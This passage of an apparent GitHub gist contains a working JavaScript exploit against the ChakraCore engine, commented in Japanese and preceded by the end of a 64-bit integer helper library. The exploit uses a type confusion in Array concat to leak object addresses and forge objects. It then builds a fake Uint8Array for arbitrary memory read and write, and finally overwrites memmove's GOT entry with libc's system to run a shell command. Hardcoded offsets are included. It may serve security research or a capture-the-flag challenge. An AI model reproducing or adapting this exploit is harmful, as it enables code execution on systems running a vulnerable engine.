IntegerPrototype.shl = IntegerPrototype.shiftLeft; | |
/** | |
* Returns this Integer with bits arithmetically shifted to the right by the given amount. | |
* @param {number|!Integer} numBits Number of bits | |
* @returns {!Integer} Shifted Integer | |
*/ | |
IntegerPrototype.shiftRight = function shiftRight(numBits) { | |
if (isInteger(numBits)) | |
numBits = numBits.toInt(); | |
if ((numBits &= 63) === 0) | |
return this; | |
else if (numBits < 32) | |
return fromBits((this.low >>> numBits) | (this.high << (32 - numBits)), this.high >> numBits, this.unsigned, this.size); | |
else | |
return fromBits(this.high >> (numBits - 32), this.high >= 0 ? 0 : -1, this.unsigned, this.size); | |
}; | |
/** | |
* Returns this Integer with bits arithmetically shifted to the right by the given amount. This is an alias of {@link Integer#shiftRight}. | |
* @function | |
* @param {number|!Integer} numBits Number of bits | |
* @returns {!Integer} Shifted Integer | |
*/ | |
IntegerPrototype.shr = IntegerPrototype.shiftRight; | |
/** | |
* Returns this Integer with bits logically shifted to the right by the given amount. | |
* @param {number|!Integer} numBits Number of bits | |
* @returns {!Integer} Shifted Integer | |
*/ | |
IntegerPrototype.shiftRightUnsigned = function shiftRightUnsigned(numBits) { | |
if (isInteger(numBits)) | |
numBits = numBits.toInt(); | |
numBits &= 63; | |
if (numBits === 0) | |
return this; | |
else { | |
var high = this.high; | |
if (numBits < 32) { | |
var low = this.low; | |
return fromBits((low >>> numBits) | (high << (32 - numBits)), high >>> numBits, this.unsigned, this.size); | |
} else if (numBits === 32) | |
return fromBits(high, 0, this.unsigned, this.size); | |
else | |
return fromBits(high >>> (numBits - 32), 0, this.unsigned, this.size); | |
} | |
}; | |
/** | |
* Returns this Integer with bits logically shifted to the right by the given amount. This is an alias of {@link Integer#shiftRightUnsigned}. | |
* @function | |
* @param {number|!Integer} numBits Number of bits | |
* @returns {!Integer} Shifted Integer | |
*/ | |
IntegerPrototype.shru = IntegerPrototype.shiftRightUnsigned; | |
/** | |
* Converts this Integer to signed. | |
* @returns {!Integer} Signed long | |
*/ | |
IntegerPrototype.toSigned = function toSigned() { | |
if (!this.unsigned) | |
return this; | |
return fromBits(this.low, this.high, false, this.size); | |
}; | |
/** | |
* Converts this Integer to unsigned. | |
* @returns {!Integer} Unsigned long | |
*/ | |
IntegerPrototype.toUnsigned = function toUnsigned() { | |
if (this.unsigned) | |
return this; | |
return fromBits(this.low, this.high, true, this.size); | |
}; | |
/** | |
* Converts this Integer to its byte representation. | |
* @param {boolean=} le Whether little or big endian, defaults to big endian | |
* @returns {!Array.<number>} Byte representation | |
*/ | |
IntegerPrototype.toBytes = function(le) { | |
return le ? this.toBytesLE() : this.toBytesBE(); | |
} | |
/** | |
* Converts this Integer to its little endian byte representation. | |
* @returns {!Array.<number>} Little endian byte representation | |
*/ | |
IntegerPrototype.toBytesLE = function() { | |
var hi = this.high, | |
lo = this.low; | |
return [ | |
lo & 0xff, | |
(lo >>> 8) & 0xff, | |
(lo >>> 16) & 0xff, | |
(lo >>> 24) & 0xff, | |
hi & 0xff, | |
(hi >>> 8) & 0xff, | |
(hi >>> 16) & 0xff, | |
(hi >>> 24) & 0xff | |
]; | |
} | |
/** | |
* Converts this Integer to its big endian byte representation. | |
* @returns {!Array.<number>} Big endian byte representation | |
*/ | |
IntegerPrototype.toBytesBE = function() { | |
var hi = this.high, | |
lo = this.low; | |
return [ | |
(hi >>> 24) & 0xff, | |
(hi >>> 16) & 0xff, | |
(hi >>> 8) & 0xff, | |
hi & 0xff, | |
(lo >>> 24) & 0xff, | |
(lo >>> 16) & 0xff, | |
(lo >>> 8) & 0xff, | |
lo & 0xff | |
]; | |
} | |
return Integer; | |
})(); | |
// debug | |
// var offsets = { | |
// vtable_JavascriptNativeIntArray: 0x173abb0, | |
// vtable_Uint8Array: 0x171d708, | |
// got_mprotect: 0x1775070, | |
// got_memmove: 0x1775100, | |
// libc_mprotect: 0x101770, | |
// libc_system: 0x45390 | |
// }; | |
// release | |
var offsets = { | |
vtable_JavascriptNativeIntArray: 0xd5db30 + 0x10, // nm --demangle libChakraCore.so | grep vtable | grep JavascriptNativeIntArray | |
vtable_Uint8Array: 0xd43068 + 0x10, | |
got_mprotect: 0xd9b070, | |
got_memmove: 0xd9b0f0, | |
libc_mprotect: 0x101770, | |
libc_system: 0x45390 | |
}; | |
function wait(){ | |
console.log("waiting"); | |
while(true); | |
} | |
// https://stackoverflow.com/questions/1833588/javascript-clone-a-function/19515928#19515928 | |
// eval(func.toString())みたいなものも試してみたがダメだった。要調査 | |
function cloneFunc( func ) { | |
var reFn = /^function\s*([^\s(]*)\s*\(([^)]*)\)[^{]*\{([^]*)\}$/gi | |
, s = func.toString().replace(/^\s|\s$/g, '') | |
, m = reFn.exec(s); | |
if (!m || !m.length) return; | |
var conf = { | |
name : m[1] || '', | |
args : m[2].replace(/\s+/g,'').split(','), | |
body : m[3] || '' | |
} | |
var clone = Function.prototype.constructor.apply(this, [].concat(conf.args, conf.body)); | |
return clone; | |
} | |
// これをやらないと2回目以降にうまく動かない(JITのせい?) | |
function getAddress(obj){ | |
getAddress_ = cloneFunc(getAddress_); | |
return getAddress_(obj); | |
} | |
function asJsObject(addr){ | |
asJsObject_ = cloneFunc(asJsObject_); | |
return asJsObject_(addr); | |
} | |
// objのアドレスを取得する | |
function getAddress_(obj){ | |
// JavascriptArray::ConcatIntArgsを呼びたいので、aもbもJavascriptNativeIntArrayにする | |
var a = [0, 1, 2]; | |
var b = [0, 1]; | |
var f = new Function(); | |
var confused; | |
f[Symbol.species] = function(){ // a.concatで新しく作られる配列を変数に入れるためのコンストラクタ | |
confused = []; // この時点ではconfusedはJavascriptNativeIntArray | |
return confused | |
}; | |
a.constructor = f; | |
// b[Symbol.isConcatSpreadable]はNG | |
Object.defineProperty(b, Symbol.isConcatSpreadable, { | |
get: function(){ | |
b[0] = undefined; // bをJavascriptNativeIntArray以外の配列にする | |
confused[0] = obj; // confusedをJavascriptArrayに変える | |
return true; | |
} | |
}); | |
var c = a.concat(b); | |
return new Integer(c[0], c[1], true); | |
} | |
// addrにあるデータをJavascriptのオブジェクトとして扱う | |
function asJsObject_(addr){ | |
var a = [0, 1]; | |
var b = [addr.low, addr.high]; | |
var f = new Function(); | |
var confused; | |
f[Symbol.species] = function(){ | |
confused = []; | |
return confused; | |
} | |
a.constructor = f; | |
Object.defineProperty(b, Symbol.isConcatSpreadable, { | |
get: function(){ | |
confused[0] = undefined; | |
return true; | |
} | |
}); | |
var c = a.concat(b); | |
return c[1]; // ソースを読んだ感じでは0な気もするが、メモリを見ると1っぽい | |
} | |
function leakChakraCoreBase(){ | |
// a, bはこんな感じのメモリレイアウトになっていて、2個までならrelocateさせずに要素を追加できる | |
// 0x7ffff0d481c0: 0x00007ffff6480bb0 0x00007ffff7e14f00 <-a | |
// 0x7ffff0d481d0: 0x0000000000000000 0x0000000000000005 | |
// 0x7ffff0d481e0: 0x0000000000000004 0x00007ffff0d48200 | |
// 0x7ffff0d481f0: 0x00007ffff0d48200 0x00007ffff7e55a40 | |
// 0x7ffff0d48200: 0x0000000400000000 0x0000000000000006 | |
// 0x7ffff0d48210: 0x0000000000000000 0x0000000200000001 | |
// 0x7ffff0d48220: 0x0000000400000003 0x8000000280000002 | |
// 0x7ffff0d48230: 0x00007ffff6480bb0 0x00007ffff7e14f00 <-b | |
// なので、aの後ろに偽のJavascriptUInt64Numberを作ってbのvtableをリークする | |
var a = [1, 2, 3, 4]; | |
var b = [6, 0, 0, 0]; // JavascriptUInt64NumberのTypeId | |
var addressA = getAddress(a); | |
var addressB = getAddress(b); | |
if(addressB.sub(addressA).neq(0x70)){ | |
throw ":("; | |
} | |
// メモリ上にJavascriptUInt64Numberオブジェクトを作る | |
// offset 0x0 : vtable (unused) | |
// 0x8 : Js::Type* type | |
// 0x10: unsigned long value | |
// vtable | |
a[2] = 0; | |
a[3] = 0; | |
// Js::Type* type | |
[a[4], a[5]] = (a => [a.low, a.high])(addressB.add(0x58)); | |
var vtable = Integer.fromNumber(parseInt(asJsObject(addressA.add(0x60))), true); | |
return vtable.sub(offsets.vtable_JavascriptNativeIntArray); | |
} | |
function achieveRW(libChakraCoreBase){ | |
var a = new Array(16); // 17以上だとインラインなArrayにならないっぽい | |
var buffer = new ArrayBuffer(0x1000); // 適当なArrayBuffer | |
var deconstruct = a => [a.low, a.high]; | |
var type = [43, 0]; | |
var sample = new Uint8Array(0x1000); | |
// a中にfakeのUint8Arrayを作る | |
// 0x0 : vtable | |
// 0x8 : type = &(TypeIds_Uint8Array(=43)) | |
// 0x10: auxSlots = NULL | |
// 0x18: objectArray = NULL | |
// 0x20: unsigned int length = length | |
// 0x28: Js::ArrayBufferBase *arrayBuffer = &ArrayBuffer | |
// 0x30: int BYTES_PER_ELEMENT = 1 | |
// 0x34: unsigned int byteOffset = 0 | |
// 0x38: unsigned char *buf | |
// vtable | |
[a[0], a[1]] = deconstruct(libChakraCoreBase.add(offsets.vtable_Uint8Array)); | |
// type | |
[a[2], a[3]] = deconstruct(getAddress(type).add(0x58)); | |
// auxSlots | |
[a[4], a[5]] = [0, 0]; | |
// objectArray | |
[a[6], a[7]] = [0, 0]; | |
// length | |
[a[8], a[9]] = [buffer.byteLength, 0]; | |
// arrayBuffer | |
[a[10], a[11]] = deconstruct(getAddress(buffer)); | |
// BYTES_PER_ELEMENT | |
a[12] = 1; | |
// byteOffset | |
a[13] = 0; | |
// buf | |
[a[14], a[15]] = [0, 0]; | |
var memory = { | |
a: a, | |
b: buffer, // 消えたら困りそうなので一応入れておく | |
t: type, | |
buf: asJsObject(getAddress(a).add(0x58)), | |
setAddress: function(addr){ | |
[this.a[14], this.a[15]] = [addr.low, addr.high]; | |
}, | |
readBytes: function(addr, length){ | |
var result = new Array(length); | |
this.setAddress(addr); | |
// return this.buf.slice(0, length)はtypeがアなためかSEGVする | |
for(var i = 0; i < length; i++){ | |
result[i] = this.buf[i]; | |
} | |
return result; | |
}, | |
readLong: function(addr){ | |
var result = this.readBytes(addr, 8); | |
return new Integer(result[0] | (result[1] << 8) | (result[2] << 16) | (result[3] << 24), result[4] | (result[5] << 8) | (result[6] << 16) | (result[7] << 24), true); | |
}, | |
writeBytes: function(addr, data){ | |
this.setAddress(addr); | |
for(var i = 0; i < data.length; i++){ | |
this.buf[i] = data[i]; | |
} | |
}, | |
writeLong: function(addr, value){ | |
var bytes = value.toBytesLE(); | |
this.writeBytes(addr, bytes); | |
} | |
}; | |
return memory; | |
} | |
function pwn(){ | |
var libChakraCoreBase = leakChakraCoreBase(); | |
console.log(`[*] libChakraCore base = 0x${libChakraCoreBase.toString(16)}`); | |
var memory = achieveRW(libChakraCoreBase); | |
var a = new Uint8Array(100); | |
var cmd = "ls -la"; | |
for(var i = 0; i < cmd.length; i++){ | |
a[i] = cmd.charCodeAt(i); | |
} | |
var b = new Uint8Array(a.length); | |
var libcBase = memory.readLong(libChakraCoreBase.add(offsets.got_mprotect)).sub(offsets.libc_mprotect); | |
console.log(`[*] libc base = 0x${libcBase.toString(16)}`); | |
memory.writeLong(libChakraCoreBase.add(offsets.got_memmove), libcBase.add(offsets.libc_system)); | |
a.set(b); | |
} | |
pwn(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment